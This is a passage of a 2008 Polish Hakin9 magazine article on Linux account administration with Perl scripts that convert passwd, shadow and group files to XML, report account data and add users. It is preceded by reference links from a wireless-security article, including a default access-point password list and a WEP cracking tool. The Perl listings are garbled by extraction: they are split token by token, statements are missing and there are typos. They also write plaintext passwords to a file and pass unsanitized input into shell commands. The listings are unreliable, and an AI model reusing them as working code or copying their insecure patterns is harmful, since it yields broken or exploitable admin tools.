Bezpieczeństwo sieci bezprzewodowych, Ballinsky, Miller, Sankar – Wydawnictwo MIKOM, Warszawa, 2005 r.,
•
Lista domyślnych ESSID, haseł oraz adresów IP Access Pointów różnych producentów –
http://wirelessdefence.org/Contents/DefaultWIFISettings.htm,
•
Narzędzie Wepattack – http://www.wepattack.sourceforge.net.
Rafał Lysik
Autor jest administratorem systemu w polskim oddziale
słowackiej firmy z branży elektronicznej. Na co dzień
zajmuje się serwisami internetowymi, rozwiązaniami
e-commerce, pisaniem skryptów.Programuje w
językach C++, JavaScript, PHP, Python.Jego pasją jest
kryptografia.Jest zwolennikiem wolnego oprogramowania
oraz powszechnego dostępu do Internetu.Prowadzi
serwis www.doctor.programuj.com.
Kontakt z autorem: doctor@o2.pl
22
POCZĄTKI
HAKIN9 9/2008
P
roblemem administratora systemu
najczęściej bywają użytkownicy. To
właśnie ta grupa ulega najczęstszym
zmianom i przetasowaniom. Zmieniają się hasła,
loginy, parametry kont itp. Póki system zawiera
kilka lub kilkanaście kont, problem ten nie jest
aż tak zauważalny, jednak co dzieje się gdy tych
kont zaczyna przybywać i mamy do czynienia
z dziesiątkami, a nawet setkami? Odpowiedź
nasuwa się sama – czas zakasać rękawy,
zaprzęgnąć do pracy Perla i stworzyć kilka
narzędzi, które będą część zadań wykonywały
za nas.
Co warto, czego nie warto – czyli
najtrudniejszy pierwszy krok
Na początku należy się poważnie zastanowić
nad strukturą całego systemu. Oczywistym jest,
że w większych systemach mamy zwykle jedną
maszynę, na której przechowywane są dane
o kontach i wiele maszyn-klientów, na których
poszczególni użytkownicy wykonują swą pracę.
Należałoby zatem stworzyć na początek skrypt
odpowiedzialny za pobieranie i aktualizację
plików konfiguracyjnych z serwera na lokalna
maszynę administratora. Nie należy ryzykować
utratą danych podczas pracy na żywych plikach.
Warto też składować te dane w jakiejś bardziej
rozsądnej postaci, którą Perl będzie mógł łatwo
przerabiać. Format XML wydaje się wprost
idealny do tego celu. Tworząc najpierw strukturę
hashową, możemy potem w prosty sposób
BARTOSZ KAMIŃSKI,
SŁAWOMIR ORŁOWSKI
Z ARTYKUŁU
DOWIESZ SIĘ
jak wykorzystać język Perl w
pracy administratora,
jak rozwiązać podstawowe
problemy z zarządzaniem
kontami użytkowników,
jak rozsądnie wykorzystać
możliwości drzemiące w XML i
jak połączyć je z językiem Perl.
CO POWINIENEŚ
WIEDZIEĆ
znajomość języka Perl na
średnim poziomie,
podstawowa znajomość formatu
XML,
podstawy pisania skryptów pod
systemem Linux,
podstawowa znajomość
mechanizmów przechowywania
informacji o kontach w systemie
Linux.
przerobić wszystko do formatu składowego, czyli
XML (Listing 1).
Konwersja w ogólnym zarysie opiera się na
3 krokach. Najpierw czytamy plik konfiguracyjny
liniami (jak wiadomo każda linia to informacje
o danym użytkowniku) oraz dzielimy wiersz na
pola (separatorem jest oczywiście „:”). Następnie
tworzymy hasha, którego kluczami będą loginy
kolejnych użytkowników, a ich wartościami inne
tablice asocjacyjne. Te inne hashe to nic innego
jak zapisy poszczególnych użytkowników, a
zatem klucze to nazwy kolejnych pól (login, pass,
homedir, etc.), a ich wartości to dane wyciągnięte
z danej linii pliku np. passwd. W ten oto sposób
otrzymaliśmy tablicę tablic (a dokładniej
hasha hashy), w której mamy zawarte dane o
wszystkich użytkownikach systemu. Kolejny krok to
zasadnicza konwersja. Tworzymy nową strukturę
XML o znaczniku głównym powiedzmy <users/>
oraz znacznikach <user/> dla poszczególnych
użytkowników. Naszą poprzednią strukturę
przerabiamy teraz według przepisu: Każdy wpis
w nadrzędnej tablicy powoduje stworzenie
wpisu <user/> w strukturze XML, elementy
podrzędnej tablicy asocjacyjne zaś dają nam
Stopień trudności
Administracja
kontami w
Linuksie
Często praca administratora systemu bywa żmudna i
nieprzyjemna, dlaczego zatem sobie jej nie uprościć? Poniższy
artykuł powinien nieco pomóc w tym zadaniu.
W Sieci
http://www.cpan.org – największe repozytorium
modułów Perlowych. Jeśli potrzeba Ci narzędzi, a nie
masz czasu żeby sam je napisać, poszukaj tutaj.
23
ADMINISTRACJA KONTAMI W LINUKSIE
HAKIN9
9/2008
parametry znacznika <user/>. W efekcie z
przykładowego hasza:
login1 => login=>wart1
pass=>wart2
home=>wart3
login2 => login=>wart1
Otrzymujemy plik XML o postaci:
<users>
<user login=”wart1” pass=”wart2”
home=”wart3”/>
<user login=”wart1” pass=”wart2”
home=”wart3”/>
</users>
W kodzie z Listingu 1. wykorzystane są
funkcje spoza skryptu (loadPasswd, dbCre
ateStructXML,dbSave). Ich implementacja
znajduje się w plikach bibliotek autorstwa
Łukasza Cieśli, z których korzystaliśmy.
Biblioteki te służą przede wszystkim do
przerabiania pobranych danych do formatu
XML. Jednakże nie są one jedynymi,
które możemy użyć. W repozytorium
CPAN znajduje się kilka innych modułów
nadających się do tego celu (tak czy
inaczej, większość z nich korzysta z funkcji
XMLin oraz XMLout, będących składowymi
modułu XML::Simple). Wystarczy wówczas
dokonać tylko lekkiej modyfikacji głównego
skryptu. Niemniej jednak część funkcji
zawartych w bibliotekach użytych w skrypcie
zamieszczam na Listingu 2.
Listing obejmuje jedynie te procedury,
które były użyte w konwersji pliku passwd.
Niemniej jednak procedury odpowiadające
za konwersję pozostałych plików (shadow,
group) wyglądają analogicznie. Powyższe
funkcje oczywiście należy wykesportować
poza bibliotekę funkcją Exporter i
odpowiednią zmienną globalną, ale
uważam to za zadanie dosyć proste.
Informacja
gwarantem sukcesu
Bardzo często administrator systemu
spotyka się z problemem niepotrzebnych
kont. Załóżmy, ze mamy do czynienia
z systemem działającym w bazie
szkoleniowej. Na bieżąco przybywa kont,
ale jednocześnie spora część staje się już
nieaktualna. Jak zatem sprawdzić, które
konta można juz wyrzucić ? Najlepszym
sposobem będzie sprawdzenie, którym
kontom skończył się na przykład okres
ważności. Nie jest to oczywiście jedyny
przykład potrzeby natury informacyjnej
– często choćby poszukujemy ludzi z jednej
grupy systemowej albo chcemy sprawdzić
czyje konta zostały zablokowane. Wówczas
przydatnym narzędziem będzie niewątpliwie
skrypt wyciągający dla nas dane o
użytkownikach z plików konfiguracyjnych.
Posiadając już gotową bazę w formacie
XML zadanie to staje się stosunkowo
łatwe. Otwieramy więc kolejne pliki z bazą
użytkowników (passwd, shadow, group), a
następnie konwertujemy je z powrotem do
formatu hashowego. Dane w tej postaci są
gotowe do użytku. Każdy musi jednak sam
zdecydować, jakie informacje będą mu w
przyszłości potrzebne. Poniżej prezentujemy
procedury służące do uzyskania terminu
ważności konta, czasu ostatniego
logowania, przynależności do grup oraz
wyszukiwania użytkowników należących
do zadanej grupy. Poziom szczegółowości
wyrzucanych danych jest zależny od
użytych przełączników. Jeśli jeszcze ktoś
miał wątpliwości, dlaczego zastosowaliśmy
akurat Perl – to myślę, że na tym etapie
powoli zaczyna się przekonywać, iż język ten
dostarcza nam wielu przydatnych narzędzi i
struktur do tego typu zadań (Listing 3).
Informacje te przede wszystkim mogą
posłużyć nam do sprawdzania, którym z kont
upłynęła ważność hasła lub też – które są
zablokowane. Funkcjonalność i przydatność
skryptów zależą jednak tylko i wyłącznie od
fantazji administratora, gdyż tutaj pokazane
zostały tylko wybrane fragmenty z plików
konfiguracyjnych czy też wyniki użycia
poleceń systemowych, a to tylko czubek góry
lodowej. Wystarczą drobne dodatki, a skrypt
może również dawać nam obraz np. kwoty
dyskowej lub wielkości pamięci operacyjnej
dostępnej dla użytkownika.
Cała zasada działania powyższego
skryptu (podobnie, jak i innych) opiera się
na odpowiednim wykorzystaniu struktury
danych, na której pracujemy. Jako, że
mamy do czynienia z hashami, wystarczy
tylko wyciągnąć dane przypisane do
odpowiedniego klucza (klucze oczywiście
zależne są od pliku konfiguracyjnego, z
którego dane zostały pobrane).
Listing 1.
Kopiowanie i konwersja plików konfiguracyjnych na przykładzie passwd
my
$
installDir
=
""
;
use
lib
""
;
use
DBxml
;
use
Error
;
use
TDB
;
use
Getopt
::
Long
qw
(:
config
no_ignore_case
);
GetOptions
(
'
c
:
s
'
=>
\$
opt_c
, #
parametr
kopiowania
i
katal
. ź
r
.
'P'
=>
\$
opt_P
, #
parametr
kopiowania
passwd
'
s
=
s
'
=>
\$
opt_s
, #
katalog
ź
r
ó
d
ł
owy
'
d
=
s
'
=>
\$
opt_d
);
#katalog docelowy
sub
Copy
()
{
if
(
$
opt_c
==
1
)
{
$
opt_c
=
"/etc/"
;
}
if
(
defined
$
opt_P
)
{
$
source
=
$
opt_c
.
"/passwd"
;
$
source
=
~
s
/\/
\//\//;
my
$
filename
=
$
installDir
.
"/etc/passwd"
;
`
cp
$
source
$
filename
`
;
}
}
sub
GetPass
()
{
if
(
defined
$
opt_s
)
{
$
opt_s
=
~
s
/
(
.
*)
$/$
1
\\/
;
@
arrayPasswd
=
loadPasswd
(
"$opt_s"
.
"passwd"
);
}
else
{
$
filename
=
$
installDir
.
"/etc/passwd"
;
@
arrayPasswd
=
loadPasswd
(
$
filename
);
}
$
xmlPasswd
=
dbCreateStructXML
(
\@
arrayPasswd
,'
users
','
user
'
);
if
(!
defined
$
opt_d
)
{
$
filename
=
$
installDir
.
"/etc/xml/passwd"
;
}
else
{
$
filename
=
$
opt_d
.
"passwd"
;
}
dbSave
(
$
xmlPasswd
, $
filename
);
}
24
POCZATKI
HAKIN9 9/2008
Zwróćmy też uwagę na to, iż dosyć
istotną kwestią jest w miarę intuicyjne
nazwanie poszczególnych kluczy. Dzięki
temu możemy definiować w skrypcie
kolejne informacje do pobrania w bardzo
szybki sposób.
Warto też zauważyć duże możliwości
jakie dostarcza nam w tym miejscu
wykorzystanie przełączników. Może nie
widać tego na pierwszy „rzut oka”, jednak
dodatek w postaci paru linijek kodu
spowoduje, iż skrypt będzie nam dawał tylko
i wyłącznie informacje nam potrzebne. W
kodzie powyżej dostajemy pewną z góry
określoną dawkę danych, lecz możemy
spotkać się z sytuacją ze połowa tych
informacji jest nam w danej chwili nie
potrzebna. Odpowiednie zdefiniowanie
przełączników pod własne potrzeby dam
nam obraz jak oczekujemy.
W powyższym skrypcie pojawiają się
kolejne procedury z bibliotek zewnętrznych,
a zatem należałoby przybliżyć kilka z nich.
Przede wszystkim pokażemy procedury
dbRootArray oraz dbToHash, gdyż
procedura dbLoad jest dosyć podobna do
przedstawianej wcześniej dbSave (Listing 4).
Procedury z Listingu 4. są nam
nieodzowne, gdyż cała praca skryptów
opiera się na strukturach haszowych, do
których Perl jest przystosowany. Można by
było pokusić się o działanie bezpośrednie
na danych XML, ale naszym zadaniem było
ułatwianie sobie życia, a nie dalsza jego
komplikacja. Z tego też faktu wygląd kodu
niektórym Czytelnikom wyda się pewnie
bzdurny i aż nadto uproszczony, ale należy w
tym miejscu przyznać, iż do prostych zadań
należy użyc jak najprostszych metod.
Kupą mości Panowie, kupą!
Dotychczas opisywaliśmy skrypty będące
tylko otoczką tego, co naprawdę jest
nam niezbędne. Jak najbardziej musimy
posiadać narzędzia przygotowujące nam
grunt do pracy oraz takie, które będą
nam mówiły, kiedy i co należy zrobić
– jednak istotą całego przedstawienia jest
zarządzanie samymi kontami użytkowników.
Ile to razy zdarza się żmudnie dodawać
kilkunastu użytkowników, tworzyć im
katalogi domowe, ustawiać lub też – o
zgrozo – wymyślać hasła tymczasowe.
Czas by z tym skończyć i użyć czegoś, co
z przyjemnością zrobi to za nas. Fakt – nie
unikniemy stworzenia pewnych danych
wsadowych, bo przecież maszyna nie
zgadnie, kogo chcemy dodać lub usunąć z
systemu, ale o ile prościej jest stworzyć listę
loginów niż kompletne konto? Na początek
zaprezentujemy dodawanie pojedynczego
użytkownika, a potem pewien niewielki
dodatek, który spowoduje wywołanie reakcji
łańcuchowej (Listing 5).
Kod ten odpowiada za dodanie
pojedynczego konta użytkownika. Owszem,
wygląda dosyć przerażająco na pierwszy
rzut oka, ale w praktyce okazuje się
bardzo skuteczny. Tworzy nam kompletne
konto wraz z katalogiem domowym,
wpisem do grupy, a nawet generacją
hasła i zaszyfrowaniem go algorytmem
md5 na potrzeby pliku shadow. Cały
mechanizm – podobnie, jak poprzednio
– opiera się głównie na odpowiednim
manipulowaniem polami struktur danych.
Na początku określiliśmy sobie klucze w
tablicy @items, a następnie przerabiamy
odpowiednie wpisy, by na końcu stworzyć
hash z danymi nowego użytkownika, dodać
go do tablicy takich hashy i zapisać do
plików konfiguracyjnych. Tablice hashy
są mechanizmem, który pozwala nam
na wykorzystanie funkcji Add() w celu
dodawania użytkowników masowo na
bazie pliku listy (plik tekstowy o strukturze
pliku passwd wystarczy jednak, iż zawiera
on samą listę loginów pozostałe pola
mogą pozostać bez wartości – liczy się
tylko liczba pól. Jeśli chcemy by konto
zostało utworzone z innym parametrem
niż domyślny wystarczy w odpowiednim
polu umieścić wartość parametru. Pola
oczywiście tak samo jak w passwd są
oddzielone znakiem ':').. Aby zrealizować
seryjne dodawanie kont, należy wreszcie
zamknąć całą procedurę dodającą w pętlę,
np.
while
, która będzie pracowała tak
długo, aż nie dojdzie do końca pliku z listą
użytkowników.
Listing 2.
Część procedur użytych przy konwersji do formatu XML
use
XML
::
Simple
qw
(
XMLin
XMLout
);
sub
dbCreateStructXML
()
{
my
(
$
refArray
, $
rootTag
, $
itemTag
)
=
@
_
;
my
$
xml
=
{}
;
$$
xml
{
'
rootTag
'
}
=
$
rootTag
;
$$
xml
{
'
itemTag
'
}
=
$
itemTag
;
$$
xml
{
'
struct
'
}
=
{
"$itemTag"
=>
$
refArray
}
;
return
$
xml
;
}
sub
dbSave
()
{
my
(
$
xml
, $
fileName
)
=
@
_
;
if
(
$
fileName
eq
"-"
)
{
*
OUTPUT
=*
STDOUT
;
}
else
{
open
(
OUTPUT
, '>'.$
fileName
)
or
die
errorStr
(
'
fsave
',$
fileName
);
}
OUTPUT
(
'
<
?
xml
version
=
"1.0"
encoding
=
"ISO-8859-2"
?
>
'.
"
\n
"
);
OUTPUT
(
XMLout
(
$$
xml
{
'
struct
'
}
,
RootName
=>
$$
xml
{
'
rootTag
'
}
));
if
(
$
fileName
ne
"-"
)
{
close
(
OUTPUT
);
}
}
sub
loadTDB
()
{
my
(
$
fileName
, $
fields
, $
opt
)
=
@
_
;
if
(
$
fileName
eq
"-"
)
{
*
INPUT
=*
STDIN
}
else
{
open
(
INPUT
, $
fileName
)
or
die
errorStr
(
'
fopen
',$
fileName
);
}
my
@
items
=
();
while
(
my
$
line
=<
INPUT
>)
{
chomp
(
$
line
);
my
@
values
=
split
(
$$
opt
{
'
sep
'
}
,$
line
);
my
%
item
=();
for
(
my
$
i
=
0
;
$
i
<
@
values
;
$
i
++)
{
$
item
{
$
{
$
fields
}
[
$
i
]
}
=
$
values
[
$
i
];
}
push
@
items
, \
%
item
;
}
if
(
$
fileName
ne
"-"
)
{
close
(
INPUT
);
}
return
@
items
;
}
sub
loadPasswd
()
{
my
$
fileName
=
shift
@
_
;
return
loadTDB
(
$
fileName
,
[
qw
(
login
password
userID
groupID
description
homeDir
shell
)]
,
{
sep
=>
':'
}
)
}
ADMINISTRACJA KONTAMI W LINUKSIE
25
HAKIN9
9/2008
26
POCZATKI
HAKIN9 9/2008
ADMINISTRACJA KONTAMI W LINUKSIE
27
HAKIN9
9/2008
Skrypt wykorzystuje dodatkową
bibliotekę Date::Simple, pobraną z zasobów
CPAN. Użyta jest ona do obliczania czasu
od początku epoki. Oczywiście jest to tylko
jedna z wielu możliwości na drodze do
uzyskania potrzebnego na wyniku.
W skrypcie pojawia się odwołanie do
kilku funkcji, które mają swoje określone
zadania, takie jak: generacja hasła,
szyfrowanie md5, sprawdzanie, czy
dodawany użytkownik nie widnieje już
w systemie czy też tworzenie katalogów
domowych (Listing 6).
O ile potrzeba istnienia funkcji
generującej i szyfrującej nie budzi pytań
po co to?, o tyle zdarzyło mi się usłyszeć
takie pytanie odnośnie funkcji zapisującej
do pliku hasła w formie nie zaszyfrowanej.
Otóż, chciałbym zauważyć, że jeśli tworzymy
konto użytkownika (a już tym bardziej
grupę kont), wówczas naszym zamiarem
jest wygenerowanie losowego hasła, które
będzie ważne powiedzmy 7 dni i będzie
możliwe zalogowanie się przy jego użyciu
na dane konto m.in. w celu jego zmiany.
Żeby tego dokonać, warto byłoby znać
samo hasło, a nie tylko jego hash md5.
Kwestia samego szyfrowania jak nie
trudno zauważyć została tutaj rozwiązana
w najprostszy, a jednocześnie najbardziej
logiczny sposób jaki przychodzi do głowy.
Zwykle system narzuca nam pewne
rygorystyczne zasady co do postaci hasła:
odpowiedni zestaw znaków (najczęściej
małe i wielkie litery + cyfra, często wymagany
jest też znak specjalny), minimalna
długość (standardy mówią zwykle o min.
6 znakach, lecz dla pewności ustalmy ich
liczbę na 8). A zatem ustalamy sobie listę
znaków alfabetycznych, numerycznych
oraz listę znaków specjalnych. Generujemy
8 znakowe hasło funkcją
random()
na
bazie liter. Następnie musimy zapewnić,
by w tak oto powstałym ciągu wystąpiła
przynajmniej jedna cyfra i jeden znak
specjalny. Korzystając z funkcji
substr()
podmieniamy losowo wybrane elementy.
W najgorszym układzie może zdarzyć się,
że druga podmiana (na znak specjalny)
trafi na miejsce cyfry, jednak nawet w tej
sytuacji system nie powinien nam odrzucić
Listing 3.
Procedury „wyciągające” informacje o użytkownikach
if
(
defined
$
opt_d
)
{
$
xmlpwd
=
dbLoad
(
$
opt_d
.
"/passwd"
,'
user
s
','
user
'
);
}
else
{
$
xmlpwd
=
dbLoad
(
"$installDir/etc/xml/passwd"
,'
users
',
'
user
'
);
}
my
$
arruserpwd
=
dbRootArray
(
$
xmlpwd
);
our
$
hashpwd
=
dbToHash
(
$
arruserpwd
,
[
'
login
'
]
,''
);
if
(
defined
$
opt_d
)
{
$
xmlgrp
=
dbLoad
(
$
opt_d
.
"/group"
,'
group
s
','
group
'
);
}
else
{
$
xmlgrp
=
dbLoad
(
"$installDir/etc/xml/group"
,'
groups
',
'
group
'
);
}
my
$
arrusergrp
=
dbRootArray
(
$
xmlgrp
);
our
$
hashgrp
=
dbToHash
(
$
arrusergrp
,
[
'
groupName
'
]
,''
);
if
(
defined
$
opt_d
)
{
$
xmlsh
=
dbLoad
(
$
opt_d
.
"/shadow"
,'
users
',
'
user
'
);
}
else
{
$
xmlsh
=
dbLoad
(
"$installDir/etc/xml/shadow"
,'
users
','
user
'
);
}
my
$
arrusersh
=
dbRootArray
(
$
xmlsh
);
our
$
hashsh
=
dbToHash
(
$
arrusersh
,
[
'
login
'
]
,''
);
sub
ExpDate
()
{
$
user
=
shift
;
my
$
exp
=
""
;
foreach
$
login
(
keys
%
$
hashsh
)
{
if
(
$
{
$$
hashsh
{
$
login
}
[
0
]
}{
'
login
'
}
eq
$
user
)
{
if
(
defined
$
{
$$
hashsh
{
$
login
}
[
0
]
}{
'
sp_expire
'
}
)
{
$
exp
=
localtime
(
chomp
(
$
{
$$
hashsh
{
$
login
}
[
0
]
}
{
'
sp_expire
'
}
));
}
else
{
$
exp
=
"Never"
;
}
}
}
"Exp Date:
\t
"
, $
exp
,
"
\n\n
"
;
}
sub
LastLogin
()
{
$
user
=
shift
;
$
last
=
`
last
$
user
|
head
-
2
`
;
$
last
=
~
s
/\
n
//
;
"Last Login:
\t
$last
\n\n
"
;
}
sub
GetGroup
()
{
$
user
=
shift
;
$
primgrp
=
""
;
foreach
$
login
(
keys
%
$
hashpwd
)
{
if
(
$
{
$$
hashpwd
{
$
login
}
[
0
]
}{
'
login
'
}
eq
$
user
)
{
$
group
=
$
{
$$
hashpwd
{
$
login
}
[
0
]
}{
'
groupID
'
}
;
foreach
$
name
(
keys
%
$
hashgrp
)
{
if
(
$
{
$$
hashgrp
{
$
name
}
[
0
]
}{
'
groupID
'
}
eq
$
group
)
{
$
primgrp
=
$
{
$$
hashgrp
{
$
name
}
[
0
]
}{
'
groupName
'
}
;
}
else
{
iif
(
defined
$
{
$$
hashgrp
{
$
name
}
[
0
]
}{
'
userList
'
}
)
{
if
(
$
{
$$
hashgrp
{
$
name
}
[
0
]
}{
'
userList
'
}
=
~
/$
user
/
)
{
push
(
@
secgrp
,
", "
.$
{
$$
hashgrp
{
$
name
}
[
0
]
}{
'
groupName
'
}
);
}
}
}
}
}
}
"UNIX Groups:
\t
"
, $
primgrp
;
if
(
defined
@
secgrp
)
{
@
secgrp
,
"
\n\n
"
;
}
else
{
"
\n\n
"
;
}
}
sub
GetLogins
()
{
my
@
users
=();
if
(
defined
$
opt_g
)
{
if
(
$
opt_g
=
~ /^\
d
*
$/
)
{
foreach
$
login
(
keys
%
$
hashpwd
)
{
if
(
$
{
$$
hashpwd
{
$
login
}
[
0
]
}{
'
groupID
'
}
==
$
opt_g
)
{
push
(
@
users
, $
{
$$
hashpwd
{
$
login
}
[
0
]
}{
'
login
'
}
);
}
}
}
else
{
my
$
gid
=-
1
;
foreach
$
name
(
keys
%
$
hashgrp
)
{
if
(
$
{
$$
hashgrp
{
$
name
}
[
0
]
}{
'
groupName
'
}
eq
$
opt_g
)
{
$
gid
=
$
{
$$
hashgrp
{
$
name
}
[
0
]
}{
'
groupID
'
}
;
}
}
foreach
$
login
(
keys
%
$
hashpwd
)
{
if
(
$
{
$$
hashpwd
{
$
login
}
[
0
]
}{
'
groupID
'
}
==
$
gid
)
{
push
(
@
users
, $
{
$$
hashpwd
{
$
login
}
[
0
]
}{
'
login
'
}
);
}
}
}
}
return
@
users
;
}
26
POCZATKI
HAKIN9 9/2008
ADMINISTRACJA KONTAMI W LINUKSIE
27
HAKIN9
9/2008
hasła, choć wstępne założenie faktycznie nie
zostało do końca spełnione. Teraz nadszedł
czas na zaszyfrowanie naszego hasełka.
Podobnie jak poprzednio generujemy
ciag znaków, ponownie o długości 8, lecz
skonstruwany z nieco innego zestawu
elementów (jest to tak zwana sól czyli
randomowy fragment doklejany na początku
szyfrowanych danych w celu dodatkowego
zabezpieczenia). Sól musimy obudować
do postaci $1$sól$. Dzięki temu efekt
szyfrowania będzie odpowiadał standardowi
jaki funkcjonuje w pliku shadow. Ostatecznie
korzystamy z funkcji
crypt($hasło,$sól)
.
No i w ten sposób otrzymujemy hasło
zakodowane algorytmem MD5.
Na Listingu 7. mamy kolejne dwie ważne
funkcje skryptu. Pierwsza z nich wyznacza
nam kolejny wolny numer użytkownika (UID).
Działa ona w dosyć trywialny, można by
rzec wręcz – naiwny, sposób. Mianowicie
porównuje wartości UID wszystkich
wpisanych do bazy użytkowników, wybiera
tego z największym UID a następnie
dodaje 1 i zwraca wynik jako nowe UID.
Przy czym należy tu zwrócić uwagę na wpis
nobody znajdujący się w pliku passwd,
Listing 4.
Funkcje biblioteczne przywracające dane XML do formy hasha
sub
dbRootArray
()
{
my
(
$
xml
)
=
@
_
;
my
$
xmlStruct
=
$$
xml
{
'
struct
'
}
;
unless
(
defined
(
$$
xml
{
$$
xml
{
'
itemTag
'
}}
))
{
$$
xml
{
$$
xml
{
'
itemTag
'
}}
=[];
}
return
$$
xmlStruct
{
$$
xml
{
'
itemTag
'
}}
;
}
sub
dbToHash
()
{
my
(
$
refA
, $
keyFields
, $
sep
)
=
@
_
;
unless
(
defined
(
$
sep
))
{
$
sep
=
'|'
;
}
my
$
refH
=
{}
;
foreach
my
$
item
(
@$
refA
)
{
my
$
key
=
''
;
foreach
my
$
field
(
@$
keyFields
)
{
if
(
defined
(
$$
item
{
$
field
}
))
{
$
key
.
=
$$
item
{
$
field
}
;
}
my
$
key
.
=
$
sep
;
}
unless
(
defined
(
$$
refH
{
$
key
}
))
{
$$
refH
{
$
key
}
=[];
}
push
@
{
$$
refH
{
$
key
}}
, $
item
;
}
return
$
refH
;
}
Listing 5.
Dodawanie pojedynczego użytkownika
sub
Add
()
{
my
@
items
=
qw
(
login
password
userID
groupID
description
homeDir
shell
passwordShadow
sp_lstchg
sp_min
sp_max
sp_warn
sp_inact
sp_expire
sp_flag
ahDir
);
my
@
userspw
=
();
my
@
userssh
=
();
my
@
usersgr
=
();
my
@
passes
=
();
my
%
userpw
=
();
my
%
usersh
=
();
my
%
usergr
=
();
my
@
tab
=
();
if
(
$
login
eq
""
)
{
"Blad nazwa uzytkownika nie podana
\n
"
;
exit
;
}
my
$
error
=&
TestUser
(
$
items
[
0
]
, $
login
);
if
(
$
error
==
1
)
{
"Blad uzytkownik "
, $
login
,
" istnieje $!
\n
"
;
exit
;
}
$
userpw
{
$
items
[
0
]
}
=
$
usersh
{
$
items
[
0
]
}
=
$
usergr
{
$
items
[
0
]
}
=
$
login
;
$
userpw
{
$
items
[
4
]
}
=
$
desc
;
if
(
$
pass
eq
""
)
{
$
pass
=
&
MakePass
();
}
push
@
tab
, $
login
, $
pass
;
$
pass
=
&
Crypt
(
$
pass
);
$
usersh
{
$
items
[
7
]
}
=
$
pass
;
if
(
$
p
!=
7
)
{
$
usersh
{
$
items
[
10
]
}
=
$
p
;
}
else
{
$
usersh
{
$
items
[
10
]
}
=
$
p
;
}
if
(
$
uid
==
-
1
)
{
$
uid
=&
CountID
(
$
items
[
0
]
,$
items
[
2
]
,
1
);
}
else
{
$
error
=&
TestUser
(
$
items
[
2
]
, $
uid
);
if
(
$
error
==
1
)
{
"Blad uzytkownik o UID"
, $
uid
,
" istnieje $!
\n
"
;
exit
;
}
}
$
userpw
{
$
items
[
2
]
}
=
$
uid
;
if
(
$
gid
==
-
1
)
{
$
gid
=
$
option
{
'
GID
'
}
;
}
$
userpw
{
$
items
[
3
]
}
=
$
usergr
{
$
items
[
3
]
}
=
$
gid
;
if
(
$
homedir
eq
""
)
{
$
homedir
=
$
option
{
'
Homedir
'
}
.$
login
;
}
$
userpw
{
$
items
[
5
]
}
=
"$homedir/$login"
;
$
userpw
{
$
items
[
5
]
}
=
~
s
/\/
\//\//;
$
userpw
{
$
items
[
6
]
}
=
$
shell
;
if
(
$
e
!=
-
1
)
{
$
usersh
{
$
items
[
13
]
}
=
$
e
;
}
$
usersh
{
$
items
[
8
]
}
=
int
(
time
()
/
(
3600
*
24
));
if
(
$
min
!=
-
1
)
{
$
usersh
{
$
items
[
9
]
}
=
$
min
;
}
else
{
$
usersh
{
$
items
[
9
]
}
=
""
;
}
if
(
$
warn
!=
-
1
)
{
$
usersh
{
$
items
[
11
]
}
=
$
warn
;
}
else
{
$
usersh
{
$
items
[
11
]
}
=
""
;
}
if
(
$
inact
ne
""
)
{
$
usersh
{
$
items
[
12
]
}
=
date
(
$
inact
)
-
date
(
'
1970
-
01
-
01
'
);
}
else
{
$
usersh
{
$
items
[
12
]
}
=
$
inact
;
}
if
(
$
flag
!=
-
1
)
{
$
usersh
{
$
items
[
14
]
}
=
$
flag
;
}
else
{
$
usersh
{
$
items
[
14
]
}
=
""
;
}
&
mkHome
(
$
homedir
, $
uid
, $
gid
);
push
@
passes
, \@
tab
;
push
@
userspw
, \
%
userpw
;
push
@
userssh
, \
%
usersh
;
push
@
usersgr
, \
%
usergr
;
close
(
LIST
);
if
(
$
vv
!=
0
)
{
"Uzytkownik $login zostal poprawnie dodany
\
n
"
;
}
&
SavePass
(
@
passes
);
&
addPasswd
(
$
installDir
, \@
userspw
);
&
addShadow
(
$
installDir
, \@
userssh
);
&
addGroup
(
$
installDir
, \@
usersgr
);
}
28
POCZATKI
HAKIN9 9/2008
ADMINISTRACJA KONTAMI W LINUKSIE
29
HAKIN9
9/2008
który to posiada najwyższy możliwy
numer. Wystarczy jednak ominąć go przy
sprawdzaniu. Faktem jest, iż ta metoda
może być nieco kłopotliwa w miejscach,
gdzie następuje duża rotacja kont. Możemy
mieć wtedy do czynienia z bardzo szybkim
przyrostem numeracji przy jednoczesnym
powstawaniu dziur dla niższych wartości.
Zaradzić temu można poprzez małą zmianę
kodu zamiast wyszukiwać najwyższej
wartości należałoby odnajdywać pierwszą
wolną większa niż załóżmy 1000. Czasem
jednak najprostsze rozwiązania okazują się
najbardziej skuteczne.
Druga funkcja zajmuje się tworzeniem
katalogu domowego. Jako parametr
wywołania podajemy nazwę katalogu,
który ma zostać stworzony (jest on
tworzony w trakcie dodawania użytkownika
poprzez pobranie z pliku konfiguracyjnego,
przygotowanego na potrzeby skryptów,
informacji o katalogu, w którym tworzone
są poszczególne katalogi użytkowników
i dodaniem do niego loginu nowego
konta) oraz numery użytkownika (UID) i
grupy (GID) Identyfikatory użytkownika i
grupy są nam niezbędne w celu nadania
odpowiednich uprawnień – w końcu nie
możemy doprowadzić do sytuacji, w której
użytkownikowi założono konto i katalog, ale
nie ma on do niego żadnych praw, czyli nic
z nim de facto nie może zrobić. Katalog jest
tworzony, kopiowane są odpowiednie pliki
(/etc/skel/) i nadawane prawa własności i
dostępu. Wszystko to dzieje się przy użyciu
podstawowych poleceń systemowych.
W efekcie całe dodawanie konta działa
dosyć podobnie do polecenia
adduser()
,
z tą jednak różnicą, iż mamy możliwość
dodawania grupowego oraz pełną kontrolę
nad parametrami tworzonych kont.
Jeśli mamy zamiar dodać użytkownika,
najlepiej sprawdzić najpierw, czy
przypadkiem ktoś o takim samym loginie
nie widnieje już w systemie. Pozwoli nam
to uniknąć wielu kłopotów. W tym celu
postała właśnie pierwsza funkcja z Listingu
8 –
TestUser()
. Oprócz tej procedury
przydatnymi okazują się jeszcze inne z
rodziny procedur testujących, gdyż musimy
mieć pewność co dodajemy, gdzie i z
jakimi prawami.
Kolejna z funkcji testujących, TestGID(),
ma za zadanie sprawdzić, czy grupa, do
której chcemy przypisać użytkownika,
istnieje (wspominaliśmy wcześniej, iż
istnieje możliwość podania parametrów
tworzonego konta – możemy zdefiniować
m.in. GID. W przypadku pojedynczego
użytkownika najlepiej rozwiązać to
odpowiednimi przełącznikami.). Sprawdzanie
w tej funkcji odbywa się, jak sama nazwa
wskazuje, na poziomie podanego numeru
grupy. Jeśli chcemy podać nazwę grupy,
Listing 6.
Funkcje: generująca hasło, zapisująca niezaszyfrowane hasło do pliku,
szyfrująca
sub
